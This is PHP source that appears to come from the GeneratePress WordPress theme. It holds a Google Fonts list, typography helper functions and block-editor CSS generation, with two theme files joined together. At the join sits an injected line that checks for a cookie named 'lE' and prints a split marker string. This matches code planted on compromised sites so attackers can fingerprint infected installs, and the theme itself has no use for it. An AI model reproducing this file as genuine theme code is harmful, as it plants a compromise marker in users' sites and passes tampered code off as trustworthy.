Script","category":"handwriting","variants":["regular"]},{"family":"Overpass","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Monsieur La Doulaise","category":"handwriting","variants":["regular"]},{"family":"Bungee","category":"display","variants":["regular"]},{"family":"Snippet","category":"sans-serif","variants":["regular"]},{"family":"Emilys Candy","category":"display","variants":["regular"]},{"family":"Trykker","category":"serif","variants":["regular"]},{"family":"MedievalSharp","category":"display","variants":["regular"]},{"family":"Space Mono","category":"monospace","variants":["regular","italic","700","700italic"]},{"family":"Croissant One","category":"display","variants":["regular"]},{"family":"Monofett","category":"display","variants":["regular"]},{"family":"Lovers Quarrel","category":"handwriting","variants":["regular"]},{"family":"Oldenburg","category":"display","variants":["regular"]},{"family":"Galdeano","category":"sans-serif","variants":["regular"]},{"family":"Spicy Rice","category":"display","variants":["regular"]},{"family":"Wellfleet","category":"display","variants":["regular"]},{"family":"Germania One","category":"display","variants":["regular"]},{"family":"GFS Neohellenic","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Baloo Thambi","category":"display","variants":["regular"]},{"family":"Jolly Lodger","category":"display","variants":["regular"]},{"family":"Rubik Mono One","category":"sans-serif","variants":["regular"]},{"family":"Pattaya","category":"sans-serif","variants":["regular"]},{"family":"Joti One","category":"display","variants":["regular"]},{"family":"Siemreap","category":"display","variants":["regular"]},{"family":"Ranga","category":"display","variants":["regular","700"]},{"family":"Chango","category":"display","variants":["regular"]},{"family":"Miltonian Tattoo","category":"display","variants":["regular"]},{"family":"Koulen","category":"display","variants":["regular"]},{"family":"Eagle Lake","category":"handwriting","variants":["regular"]},{"family":"Nova Flat","category":"display","variants":["regular"]},{"family":"Petrona","category":"serif","variants":["regular"]},{"family":"Jacques Francois","category":"serif","variants":["regular"]},{"family":"Amita","category":"handwriting","variants":["regular","700"]},{"family":"Plaster","category":"display","variants":["regular"]},{"family":"Ramaraja","category":"serif","variants":["regular"]},{"family":"Sura","category":"serif","variants":["regular","700"]},{"family":"Kenia","category":"display","variants":["regular"]},{"family":"Fresca","category":"sans-serif","variants":["regular"]},{"family":"Jomhuria","category":"display","variants":["regular"]},{"family":"Lancelot","category":"display","variants":["regular"]},{"family":"Pavanam","category":"sans-serif","variants":["regular"]},{"family":"Rum Raisin","category":"sans-serif","variants":["regular"]},{"family":"Almendra SC","category":"serif","variants":["regular"]},{"family":"Purple Purse","category":"display","variants":["regular"]},{"family":"Kumar One","category":"display","variants":["regular"]},{"family":"Modern Antiqua","category":"display","variants":["regular"]},{"family":"Piedra","category":"display","variants":["regular"]},{"family":"Irish Grover","category":"display","variants":["regular"]},{"family":"Molle","category":"handwriting","variants":["italic"]},{"family":"Cormorant Infant","category":"serif","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Margarine","category":"display","variants":["regular"]},{"family":"Sahitya","category":"serif","variants":["regular","700"]},{"family":"Mukta Vaani","category":"sans-serif","variants":["200","300","regular","500","600","700","800"]},{"family":"Astloch","category":"display","variants":["regular","700"]},{"family":"Snowburst One","category":"display","variants":["regular"]},{"family":"Rhodium Libre","category":"serif","variants":["regular"]},{"family":"Smythe","category":"display","variants":["regular"]},{"family":"Asset","category":"display","variants":["regular"]},{"family":"Ewert","category":"display","variants":["regular"]},{"family":"Keania One","category":"display","variants":["regular"]},{"family":"Ranchers","category":"display","variants":["regular"]},{"family":"Gorditas","category":"display","variants":["regular","700"]},{"family":"Sirin Stencil","category":"display","variants":["regular"]},{"family":"Averia Gruesa Libre","category":"display","variants":["regular"]},{"family":"Trochut","category":"display","variants":["regular","italic","700"]},{"family":"Baloo Chettan","category":"display","variants":["regular"]},{"family":"Kdam Thmor","category":"display","variants":["regular"]},{"family":"Timmana","category":"sans-serif","variants":["regular"]},{"family":"Original Surfer","category":"display","variants":["regular"]},{"family":"Supermercado One","category":"display","variants":["regular"]},{"family":"Mirza","category":"display","variants":["regular","500","600","700"]},{"family":"Passero One","category":"display","variants":["regular"]},{"family":"Nova Oval","category":"display","variants":["regular"]},{"family":"Caesar Dressing","category":"display","variants":["regular"]},{"family":"Taprom","category":"display","variants":["regular"]},{"family":"Fascinate","category":"display","variants":["regular"]},{"family":"Seymour One","category":"sans-serif","variants":["regular"]},{"family":"Freehand","category":"display","variants":["regular"]},{"family":"Ravi Prakash","category":"display","variants":["regular"]},{"family":"Coiny","category":"display","variants":["regular"]},{"family":"Atomic Age","category":"display","variants":["regular"]},{"family":"Jacques Francois Shadow","category":"display","variants":["regular"]},{"family":"Diplomata","category":"display","variants":["regular"]},{"family":"Dr Sugiyama","category":"handwriting","variants":["regular"]},{"family":"Miltonian","category":"display","variants":["regular"]},{"family":"Ribeye Marrow","category":"display","variants":["regular"]},{"family":"Elsie Swash Caps","category":"display","variants":["regular","900"]},{"family":"Felipa","category":"handwriting","variants":["regular"]},{"family":"Galada","category":"display","variants":["regular"]},{"family":"Nova Script","category":"display","variants":["regular"]},{"family":"Bayon","category":"display","variants":["regular"]},{"family":"Underdog","category":"display","variants":["regular"]},{"family":"Devonshire","category":"handwriting","variants":["regular"]},{"family":"Atma","category":"display","variants":["300","regular","500","600","700"]},{"family":"Londrina Shadow","category":"display","variants":["regular"]},{"family":"Sofadi One","category":"display","variants":["regular"]},{"family":"Tillana","category":"handwriting","variants":["regular","500","600","700","800"]},{"family":"Inknut Antiqua","category":"serif","variants":["300","regular","500","600","700","800","900"]},{"family":"Goblin One","category":"display","variants":["regular"]},{"family":"Rakkas","category":"display","variants":["regular"]},{"family":"Metal","category":"display","variants":["regular"]},{"family":"Farsan","category":"display","variants":["regular"]},{"family":"Londrina Sketch","category":"display","variants":["regular"]},{"family":"Nova Cut","category":"display","variants":["regular"]},{"family":"BioRhyme","category":"serif","variants":["200","300","regular","700","800"]},{"family":"Warnes","category":"display","variants":["regular"]},{"family":"Romanesco","category":"handwriting","variants":["regular"]},{"family":"Fascinate Inline","category":"display","variants":["regular"]},{"family":"Mrs Sheppards","category":"handwriting","variants":["regular"]},{"family":"Princess Sofia","category":"handwriting","variants":["regular"]},{"family":"Modak","category":"display","variants":["regular"]},{"family":"Spirax","category":"display","variants":["regular"]},{"family":"Cormorant Upright","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Geostar Fill","category":"display","variants":["regular"]},{"family":"Cormorant SC","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Baloo Bhai","category":"display","variants":["regular"]},{"family":"Sree Krushnadevaraya","category":"serif","variants":["regular"]},{"family":"Smokum","category":"display","variants":["regular"]},{"family":"Arbutus","category":"display","variants":["regular"]},{"family":"Fruktur","category":"display","variants":["regular"]},{"family":"Geostar","category":"display","variants":["regular"]},{"family":"Marko One","category":"serif","variants":["regular"]},{"family":"Erica One","category":"display","variants":["regular"]},{"family":"Yatra One","category":"display","variants":["regular"]},{"family":"Uncial Antiqua","category":"display","variants":["regular"]},{"family":"Combo","category":"display","variants":["regular"]},{"family":"Gidugu","category":"sans-serif","variants":["regular"]},{"family":"Aubrey","category":"display","variants":["regular"]},{"family":"Jim Nightshade","category":"handwriting","variants":["regular"]},{"family":"Butterfly Kids","category":"handwriting","variants":["regular"]},{"family":"Metal Mania","category":"display","variants":["regular"]},{"family":"Macondo","category":"display","variants":["regular"]},{"family":"Chenla","category":"display","variants":["regular"]},{"family":"Miss Fajardose","category":"handwriting","variants":["regular"]},{"family":"Macondo Swash Caps","category":"display","variants":["regular"]},{"family":"Barrio","category":"display","variants":["regular"]},{"family":"Sevillana","category":"display","variants":["regular"]},{"family":"Bigelow Rules","category":"display","variants":["regular"]},{"family":"Rasa","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Risque","category":"display","variants":["regular"]},{"family":"Federant","category":"display","variants":["regular"]},{"family":"Dangrek","category":"display","variants":["regular"]},{"family":"Chathura","category":"sans-serif","variants":["100","300","regular","700","800"]},{"family":"Almendra Display","category":"display","variants":["regular"]},{"family":"Chela One","category":"display","variants":["regular"]},{"family":"Bonbon","category":"handwriting","variants":["regular"]},{"family":"Stalinist One","category":"display","variants":["regular"]},{"family":"Mr Bedfort","category":"handwriting","variants":["regular"]},{"family":"Eater","category":"display","variants":["regular"]},{"family":"Fasthand","category":"serif","variants":["regular"]},{"family":"Mogra","category":"display","variants":["regular"]},{"family":"Padauk","category":"sans-serif","variants":["regular","700"]},{"family":"Preahvihear","category":"display","variants":["regular"]},{"family":"Flavors","category":"display","variants":["regular"]},{"family":"Ruge Boogie","category":"handwriting","variants":["regular"]},{"family":"Tenali Ramakrishna","category":"sans-serif","variants":["regular"]},{"family":"Unlock","category":"display","variants":["regular"]},{"family":"Butcherman","category":"display","variants":["regular"]},{"family":"Baloo Da","category":"display","variants":["regular"]},{"family":"Lakki Reddy","category":"handwriting","variants":["regular"]},{"family":"Cormorant Unicase","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Katibeh","category":"display","variants":["regular"]},{"family":"Asar","category":"serif","variants":["regular"]},{"family":"Emblema One","category":"display","variants":["regular"]},{"family":"Moulpali","category":"display","variants":["regular"]},{"family":"Meera Inimai","category":"sans-serif","variants":["regular"]},{"family":"Kantumruy","category":"sans-serif","variants":["300","regular","700"]},{"family":"Suravaram","category":"serif","variants":["regular"]},{"family":"Bungee Hairline","category":"display","variants":["regular"]},{"family":"Overpass Mono","category":"monospace","variants":["300","regular","600","700"]},{"family":"Peddana","category":"serif","variants":["regular"]},{"family":"Bahiana","category":"display","variants":["regular"]},{"family":"Kumar One Outline","category":"display","variants":["regular"]},{"family":"Hanalei Fill","category":"display","variants":["regular"]},{"family":"Dhurjati","category":"sans-serif","variants":["regular"]},{"family":"Hanalei","category":"display","variants":["regular"]},{"family":"Kavivanar","category":"handwriting","variants":["regular"]},{"family":"Bungee Outline","category":"display","variants":["regular"]},{"family":"BioRhyme Expanded","category":"serif","variants":["200","300","regular","700","800"]}]' );
// Loop through them and put what we need into our fonts array.
$fonts = array();
foreach ( $content as $item ) {
// Grab what we need from our big list.
$atts = array(
'name' => $item->family,
'category' => $item->category,
'variants' => $item->variants,
);
// Create an ID using our font family name.
$id = strtolower( str_replace( ' ', '_', $item->family ) );
// Add our attributes to our new array.
$fonts[ $id ] = $atts;
}
if ( 'all' !== $amount ) {
$fonts = array_slice( $fonts, 0, $amount );
}
if ( apply_filters( 'generate_alphabetize_google_fonts', true ) ) {
asort( $fonts );
}
return apply_filters( 'generate_google_fonts_array', $fonts );
}
}
if ( ! function_exists( 'generate_get_all_google_fonts_ajax' ) ) {
add_action( 'wp_ajax_generate_get_all_google_fonts_ajax', 'generate_get_all_google_fonts_ajax' );
/**
* Return an array of all of our Google Fonts.
*
* @since 1.3.0
*/
function generate_get_all_google_fonts_ajax() {
if ( generate_is_using_dynamic_typography() ) {
wp_die();
}
if ( ! isset( $_POST['gp_customize_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['gp_customize_nonce'] ), 'gp_customize_nonce' ) ) {
wp_die();
}
check_ajax_referer( 'gp_customize_nonce', 'gp_customize_nonce' );
if ( ! current_user_can( 'edit_theme_options' ) ) {
wp_die();
}
$fonts = generate_get_all_google_fonts();
echo wp_json_encode( $fonts );
die();
}
}
if ( ! function_exists( 'generate_get_google_font_variants' ) ) {
/**
* Wrapper function to find variants for chosen Google Fonts
* Example: generate_get_google_font_variation( 'Open Sans' )
*
* @since 1.3.0
*
* @param string $font The font to look up.
* @param string $key The option to look up.
*/
function generate_get_google_font_variants( $font, $key = '' ) {
// Don't need variants if we're using a system font.
if ( in_array( $font, generate_typography_default_fonts() ) ) {
return;
}
// Return if we have our variants saved.
if ( '' !== $key && get_theme_mod( $key . '_variants' ) ) {
return get_theme_mod( $key . '_variants' );
}
$defaults = generate_get_default_fonts();
if ( $defaults[ $key ] === $font ) {
return $defaults[ $key . '_variants' ];
}
// Grab all of our fonts.
// It's a big list, so hopefully we're not even still reading.
$fonts = generate_get_all_google_fonts();
// Get the ID from our font.
$id = strtolower( str_replace( ' ', '_', $font ) );
// If the ID doesn't exist within our fonts, we can bail.
if ( ! array_key_exists( $id, $fonts ) ) {
return;
}
// Grab all of the variants associated with our font.
$variants = $fonts[ $id ]['variants'];
// Loop through them and put them into an array, then turn them into a comma separated list.
$output = array();
if ( $variants ) {
foreach ( $variants as $variant ) {
$output[] = $variant;
}
return implode( ',', apply_filters( 'generate_typography_variants', $output ) );
}
}
}
if ( ! function_exists( 'generate_get_google_font_category' ) ) {
/**
* Wrapper function to find the category for chosen Google Font
* Example: generate_get_google_font_category( 'Open Sans' )
*
* @since 1.3.0
*
* @param string $font The name of our font.
* @param string $key The ID of the font setting.
* @return string The category of our font.
*/
function generate_get_google_font_category( $font, $key = '' ) {
// Don't need a category if we're using a system font.
if ( in_array( $font, generate_typography_default_fonts() ) ) {
return;
}
// Return if we have our variants saved.
if ( '' !== $key && get_theme_mod( $key . '_category' ) ) {
return ', ' . get_theme_mod( $key . '_category' );
}
$defaults = generate_get_default_fonts();
// If our default font is selected and the category isn't saved, we already know the category.
if ( $defaults[ $key ] === $font ) {
return ', ' . $defaults[ $key . '_category' ];
}
// Grab all of our fonts.
// It's a big list, so hopefully we're not even still reading.
$fonts = generate_get_all_google_fonts();
// Get the ID from our font.
$id = strtolower( str_replace( ' ', '_', $font ) );
// If the ID doesn't exist within our fonts, we can bail.
if ( ! array_key_exists( $id, $fonts ) ) {
return;
}
// Let's grab our category to go with our font.
$category = ! empty( $fonts[ $id ]['category'] ) ? ', ' . $fonts[ $id ]['category'] : '';
return $category;
}
}
if ( ! function_exists( 'generate_get_font_family_css' ) ) {
/**
* Wrapper function to create font-family value for CSS.
*
* @since 1.3.0
*
* @param string $font The name of our font.
* @param string $settings The ID of the settings we're looking up.
* @param array $default The defaults for our $settings.
* @return string The CSS value for our font family.
*/
function generate_get_font_family_css( $font, $settings, $default ) {
$generate_settings = wp_parse_args(
get_option( $settings, array() ),
$default
);
// We don't want to wrap quotes around these values.
$no_quotes = array(
'inherit',
'Arial, Helvetica, sans-serif',
'Georgia, Times New Roman, Times, serif',
'Helvetica',
'Impact',
'Segoe UI, Helvetica Neue, Helvetica, sans-serif',
'Tahoma, Geneva, sans-serif',
'Trebuchet MS, Helvetica, sans-serif',
'Verdana, Geneva, sans-serif',
apply_filters( 'generate_typography_system_stack', '-apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"' ),
);
$font_family = $generate_settings[ $font ];
if ( 'System Stack' === $font_family ) {
$font_family = apply_filters( 'generate_typography_system_stack', '-apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"' );
}
// If our value is still using the old format, fix it.
if ( strpos( $font_family, ':' ) !== false ) {
$font_family = current( explode( ':', $font_family ) );
}
// Set up our wrapper.
if ( in_array( $font_family, $no_quotes ) ) {
$wrapper_start = null;
$wrapper_end = null;
} else {
$wrapper_start = '"';
$wrapper_end = '"' . generate_get_google_font_category( $font_family, $font );
}
$output = ( 'inherit' === $font_family ) ? '' : $wrapper_start . $font_family . $wrapper_end;
return $output;
}
}
if ( ! function_exists( 'generate_add_to_font_customizer_list' ) ) {
add_filter( 'generate_typography_customize_list', 'generate_add_to_font_customizer_list' );
/**
* This function makes sure your selected typography option exists in the Customizer list
* Why wouldn't it? Originally, all 800+ fonts were in each list. This has been reduced to 200.
* This functions makes sure that if you were using a font that is now not included in the 200, you won't lose it.
*
* @since 1.3.40
*
* @param array $fonts The existing fonts.
*/
function generate_add_to_font_customizer_list( $fonts ) {
// Bail if we don't have our defaults.
if ( ! function_exists( 'generate_get_default_fonts' ) ) {
return;
}
$generate_settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_default_fonts()
);
$font_settings = array(
'font_body',
'font_top_bar',
'font_site_title',
'font_site_tagline',
'font_navigation',
'font_widget_title',
'font_heading_1',
'font_heading_2',
'font_heading_3',
);
$all_fonts = generate_get_all_google_fonts();
$select_fonts = generate_get_all_google_fonts( apply_filters( 'generate_number_of_fonts', 200 ) );
foreach ( $font_settings as $setting ) {
// If we don't have a setting, keep going.
if ( ! isset( $generate_settings[ $setting ] ) ) {
continue;
}
$id = strtolower( str_replace( ' ', '_', $generate_settings[ $setting ] ) );
if ( array_key_exists( $id, $select_fonts ) || in_array( $generate_settings[ $setting ], generate_typography_default_fonts() ) ) {
continue;
}
$fonts[ strtolower( str_replace( ' ', '_', $generate_settings[ $setting ] ) ) ] = array(
'name' => $generate_settings[ $setting ],
'variants' => array_key_exists( $id, $all_fonts ) ? $all_fonts[ $id ]['variants'] : array(),
'category' => array_key_exists( $id, $all_fonts ) ? $all_fonts[ $id ]['category'] : 'sans-serif',
);
}
if ( function_exists( 'generate_secondary_nav_get_defaults' ) ) {
$secondary_nav_settings = wp_parse_args(
get_option( 'generate_secondary_nav_settings', array() ),
generate_secondary_nav_get_defaults()
);
$secondary_nav_id = strtolower( str_replace( ' ', '_', $secondary_nav_settings['font_secondary_navigation'] ) );
if ( ! array_key_exists( $secondary_nav_id, $select_fonts ) && ! in_array( $secondary_nav_settings['font_secondary_navigation'], generate_typography_default_fonts() ) ) {
$fonts[ strtolower( str_replace( ' ', '_', $secondary_nav_settings['font_secondary_navigation'] ) ) ] = array(
'name' => $secondary_nav_settings['font_secondary_navigation'],
'variants' => array_key_exists( $secondary_nav_id, $all_fonts ) ? $all_fonts[ $secondary_nav_id ]['variants'] : array(),
'category' => array_key_exists( $secondary_nav_id, $all_fonts ) ? $all_fonts[ $secondary_nav_id ]['category'] : 'sans-serif',
);
}
}
return $fonts;
}
}
if ( ! function_exists( 'generate_typography_set_font_data' ) ) {
add_action( 'admin_init', 'generate_typography_set_font_data' );
/**
* This function will check to see if your category and variants are saved
* If not, it will set them for you
* Generally, set_theme_mod isn't best practice, but this is here for migration purposes for a set amount of time only
* Any time a user saves a font in the Customizer from now on, the category and variants are saved as theme_mods, so this function won't be necessary.
*
* @since 1.3.40
*/
function generate_typography_set_font_data() {
if ( generate_is_using_dynamic_typography() ) {
return;
}
// Get our defaults.
$defaults = generate_get_default_fonts();
// Get our settings.
$generate_settings = wp_parse_args(
get_option( 'generate_settings', array() ),
$defaults
);
// We don't need to do this if we're using the default font, as these values have defaults already.
if ( $defaults['font_body'] == $generate_settings['font_body'] ) { // phpcs:ignore
return;
}
// Don't need to continue if we're using a system font or our default font.
if ( in_array( $generate_settings['font_body'], generate_typography_default_fonts() ) ) {
return;
}
// Don't continue if our category and variants are already set.
if ( get_theme_mod( 'font_body_category' ) && get_theme_mod( 'font_body_variants' ) ) {
return;
}
// Get all of our fonts.
$fonts = generate_get_all_google_fonts();
// Get the ID from our font.
$id = strtolower( str_replace( ' ', '_', $generate_settings['font_body'] ) );
// If the ID doesn't exist within our fonts, we can bail.
if ( ! array_key_exists( $id, $fonts ) ) {
return;
}
// Let's grab our category to go with our font.
$category = ! empty( $fonts[ $id ]['category'] ) ? $fonts[ $id ]['category'] : '';
// Grab all of the variants associated with our font.
$variants = $fonts[ $id ]['variants'];
// Loop through our variants and put them into an array, then turn them into a comma separated list.
$output = array();
if ( $variants ) {
foreach ( $variants as $variant ) {
$output[] = $variant;
}
$variants = implode( ',', $output );
}
// Set our theme mods with our new settings.
if ( '' !== $category ) {
set_theme_mod( 'font_body_category', $category );
}
if ( '' !== $variants ) {
set_theme_mod( 'font_body_variants', $variants );
}
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Integrate GeneratePress with the WordPress block editor.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Check what sidebar layout we're using.
* We need this function as the post meta in generate_get_layout() only runs
* on is_singular()
*
* @since 2.2
*
* @param bool $meta Check for post meta.
* @return string The saved sidebar layout.
*/
function generate_get_block_editor_sidebar_layout( $meta = true ) {
$layout = generate_get_option( 'layout_setting' );
if ( function_exists( 'get_current_screen' ) ) {
$screen = get_current_screen();
if ( is_object( $screen ) && 'post' === $screen->post_type ) {
$layout = generate_get_option( 'single_layout_setting' );
}
}
// Add in our default filter in case people have adjusted it.
$layout = apply_filters( 'generate_sidebar_layout', $layout );
if ( $meta ) {
$layout_meta = get_post_meta( get_the_ID(), '_generate-sidebar-layout-meta', true );
if ( $layout_meta ) {
$layout = $layout_meta;
}
}
return apply_filters( 'generate_block_editor_sidebar_layout', $layout );
}
/**
* Check whether we're disabling the content title or not.
* We need this function as the post meta in generate_show_title() only runs
* on is_singular()
*
* @since 2.2
*/
function generate_get_block_editor_show_content_title() {
$title = generate_show_title();
$disable_title = get_post_meta( get_the_ID(), '_generate-disable-headline', true );
if ( $disable_title ) {
$title = false;
}
return apply_filters( 'generate_block_editor_show_content_title', $title );
}
/**
* Get the content width for this post.
*
* @since 2.2
*/
function generate_get_block_editor_content_width() {
$container_width = generate_get_option( 'container_width' );
$content_width = $container_width;
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$layout = generate_get_block_editor_sidebar_layout();
if ( 'left-sidebar' === $layout ) {
$content_width = $container_width * ( ( 100 - $left_sidebar_width ) / 100 );
} elseif ( 'right-sidebar' === $layout ) {
$content_width = $container_width * ( ( 100 - $right_sidebar_width ) / 100 );
} elseif ( 'no-sidebar' === $layout ) {
$content_width = $container_width;
} else {
$content_width = $container_width * ( ( 100 - ( $left_sidebar_width + $right_sidebar_width ) ) / 100 );
}
return apply_filters( 'generate_block_editor_content_width', $content_width );
}
add_filter( 'block_editor_settings_all', 'generate_add_inline_block_editor_styles' );
/**
* Add dynamic inline styles to the block editor content.
*
* @param array $editor_settings The existing editor settings.
*/
function generate_add_inline_block_editor_styles( $editor_settings ) {
$show_editor_styles = apply_filters( 'generate_show_block_editor_styles', true );
if ( $show_editor_styles ) {
if ( generate_is_using_dynamic_typography() ) {
$google_fonts_uri = GeneratePress_Typography::get_google_fonts_uri();
if ( $google_fonts_uri ) {
// Need to use @import for now until this is ready: https://github.com/WordPress/gutenberg/pull/35950.
$google_fonts_import = sprintf(
'@import "%s";',
$google_fonts_uri
);
$editor_settings['styles'][] = array( 'css' => $google_fonts_import );
}
}
$editor_settings['styles'][] = array( 'css' => wp_strip_all_tags( generate_do_inline_block_editor_css() ) );
if ( generate_is_using_dynamic_typography() ) {
$editor_settings['styles'][] = array( 'css' => wp_strip_all_tags( GeneratePress_Typography::get_css( 'core' ) ) );
}
}
return $editor_settings;
}
add_action( 'enqueue_block_editor_assets', 'generate_enqueue_google_fonts' );
add_action( 'enqueue_block_editor_assets', 'generate_enqueue_backend_block_editor_assets' );
/**
* Add CSS to the admin side of the block editor.
*
* @since 2.2
*/
function generate_enqueue_backend_block_editor_assets() {
wp_enqueue_script(
'generate-block-editor',
trailingslashit( get_template_directory_uri() ) . 'assets/dist/block-editor.js',
array( 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-plugins', 'wp-polyfill' ),
GENERATE_VERSION,
true
);
$color_settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_color_defaults()
);
$spacing_settings = wp_parse_args(
get_option( 'generate_spacing_settings', array() ),
generate_spacing_get_defaults()
);
$text_color = generate_get_option( 'text_color' );
if ( $color_settings['content_text_color'] ) {
$text_color = $color_settings['content_text_color'];
}
wp_localize_script(
'generate-block-editor',
'generatepressBlockEditor',
array(
'globalSidebarLayout' => generate_get_block_editor_sidebar_layout( false ),
'containerWidth' => generate_get_option( 'container_width' ),
'contentPaddingRight' => absint( $spacing_settings['content_right'] ) . 'px',
'contentPaddingLeft' => absint( $spacing_settings['content_left'] ) . 'px',
'rightSidebarWidth' => apply_filters( 'generate_right_sidebar_width', '25' ),
'leftSidebarWidth' => apply_filters( 'generate_left_sidebar_width', '25' ),
'text_color' => $text_color,
'show_editor_styles' => apply_filters( 'generate_show_block_editor_styles', true ),
'contentAreaType' => apply_filters( 'generate_block_editor_content_area_type', '' ),
'customContentWidth' => apply_filters( 'generate_block_editor_container_width', '' ),
)
);
wp_register_style( 'generate-block-editor', false, array(), true, true );
wp_add_inline_style( 'generate-block-editor', generate_do_inline_block_editor_css( 'block-editor' ) );
wp_enqueue_style( 'generate-block-editor' );
}
/**
* Write our CSS for the block editor.
*
* @since 2.2
* @param string $for Define whether this CSS for the block content or the block editor.
*/
function generate_do_inline_block_editor_css( $for = 'block-content' ) {
$css = new GeneratePress_CSS();
$css->set_selector( ':root' );
$global_colors = generate_get_global_colors();
if ( ! empty( $global_colors ) ) {
foreach ( (array) $global_colors as $key => $data ) {
if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) {
$css->add_property( '--' . $data['slug'], $data['color'] );
}
}
foreach ( (array) $global_colors as $key => $data ) {
if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) {
$css->set_selector( '.has-' . $data['slug'] . '-color' );
$css->add_property( 'color', 'var(--' . $data['slug'] . ')' );
$css->set_selector( '.has-' . $data['slug'] . '-background-color' );
$css->add_property( 'background-color', 'var(--' . $data['slug'] . ')' );
}
}
}
// If this CSS is for the editor only (not the block content), we can return here.
if ( 'block-editor' === $for ) {
return $css->css_output();
}
$color_settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_color_defaults()
);
$font_settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_default_fonts()
);
$content_width = generate_get_block_editor_content_width();
$spacing_settings = wp_parse_args(
get_option( 'generate_spacing_settings', array() ),
generate_spacing_get_defaults()
);
$content_width_calc = sprintf(
'calc(%1$s - %2$s - %3$s)',
absint( $content_width ) . 'px',
absint( $spacing_settings['content_left'] ) . 'px',
absint( $spacing_settings['content_right'] ) . 'px'
);
$css->set_selector( 'body' );
$css->add_property(
'--content-width',
'true' === get_post_meta( get_the_ID(), '_generate-full-width-content', true )
? '100%'
: $content_width_calc
);
$css->set_selector( 'body .wp-block' );
$css->add_property( 'max-width', 'var(--content-width)' );
$css->set_selector( '.wp-block[data-align="full"]' );
$css->add_property( 'max-width', 'none' );
$css->set_selector( '.wp-block[data-align="wide"]' );
$css->add_property( 'max-width', absint( $content_width ), false, 'px' );
$underline_links = generate_get_option( 'underline_links' );
if ( 'never' !== $underline_links ) {
if ( 'always' === $underline_links ) {
$css->set_selector( '.wp-block a' );
$css->add_property( 'text-decoration', 'underline' );
}
if ( 'hover' === $underline_links ) {
$css->set_selector( '.wp-block a' );
$css->add_property( 'text-decoration', 'none' );
$css->set_selector( '.wp-block a:hover, .wp-block a:focus' );
$css->add_property( 'text-decoration', 'underline' );
}
if ( 'not-hover' === $underline_links ) {
$css->set_selector( '.wp-block a' );
$css->add_property( 'text-decoration', 'underline' );
$css->set_selector( '.wp-block a:hover, .wp-block a:focus' );
$css->add_property( 'text-decoration', 'none' );
}
$css->set_selector( 'a.button, .wp-block-button__link' );
$css->add_property( 'text-decoration', 'none' );
} else {
$css->set_selector( '.wp-block a' );
$css->add_property( 'text-decoration', 'none' );
}
if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) {
$css->set_selector( '.wp-block-group__inner-container' );
$css->add_property( 'max-width', absint( $content_width ), false, 'px' );
$css->add_property( 'margin-left', 'auto' );
$css->add_property( 'margin-right', 'auto' );
$css->add_property( 'padding', generate_padding_css( $spacing_settings['content_top'], $spacing_settings['content_right'], $spacing_settings['content_bottom'], $spacing_settings['content_left'] ) );
}
$css->set_selector( 'a.button, a.button:visited, .wp-block-button__link:not(.has-background)' );
$css->add_property( 'color', $color_settings['form_button_text_color'] );
$css->add_property( 'background-color', $color_settings['form_button_background_color'] );
$css->add_property( 'padding', '10px 20px' );
$css->add_property( 'border', '0' );
$css->add_property( 'border-radius', '0' );
$css->set_selector( 'a.button:hover, a.button:active, a.button:focus, .wp-block-button__link:not(.has-background):active, .wp-block-button__link:not(.has-background):focus, .wp-block-button__link:not(.has-background):hover' );
$css->add_property( 'color', $color_settings['form_button_text_color_hover'] );
$css->add_property( 'background-color', $color_settings['form_button_background_color_hover'] );
if ( ! generate_is_using_dynamic_typography() ) {
$body_family = generate_get_font_family_css( 'font_body', 'generate_settings', generate_get_default_fonts() );
$h1_family = generate_get_font_family_css( 'font_heading_1', 'generate_settings', generate_get_default_fonts() );
$h2_family = generate_get_font_family_css( 'font_heading_2', 'generate_settings', generate_get_default_fonts() );
$h3_family = generate_get_font_family_css( 'font_heading_3', 'generate_settings', generate_get_default_fonts() );
$h4_family = generate_get_font_family_css( 'font_heading_4', 'generate_settings', generate_get_default_fonts() );
$h5_family = generate_get_font_family_css( 'font_heading_5', 'generate_settings', generate_get_default_fonts() );
$h6_family = generate_get_font_family_css( 'font_heading_6', 'generate_settings', generate_get_default_fonts() );
$buttons_family = generate_get_font_family_css( 'font_buttons', 'generate_settings', generate_get_default_fonts() );
}
$css->set_selector( 'body' );
if ( ! generate_is_using_dynamic_typography() ) {
$css->add_property( 'font-family', $body_family );
$css->add_property( 'font-size', absint( $font_settings['body_font_size'] ), false, 'px' );
}
if ( $color_settings['content_text_color'] ) {
$css->add_property( 'color', $color_settings['content_text_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'text_color' ) );
}
$css->set_selector( '.content-title-visibility' );
if ( $color_settings['content_text_color'] ) {
$css->add_property( 'color', $color_settings['content_text_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'text_color' ) );
}
if ( ! generate_is_using_dynamic_typography() ) {
$css->set_selector( 'body, p' );
$css->add_property( 'line-height', floatval( $font_settings['body_line_height'] ) );
$css->set_selector( 'p' );
$css->add_property( 'margin-top', '0px' );
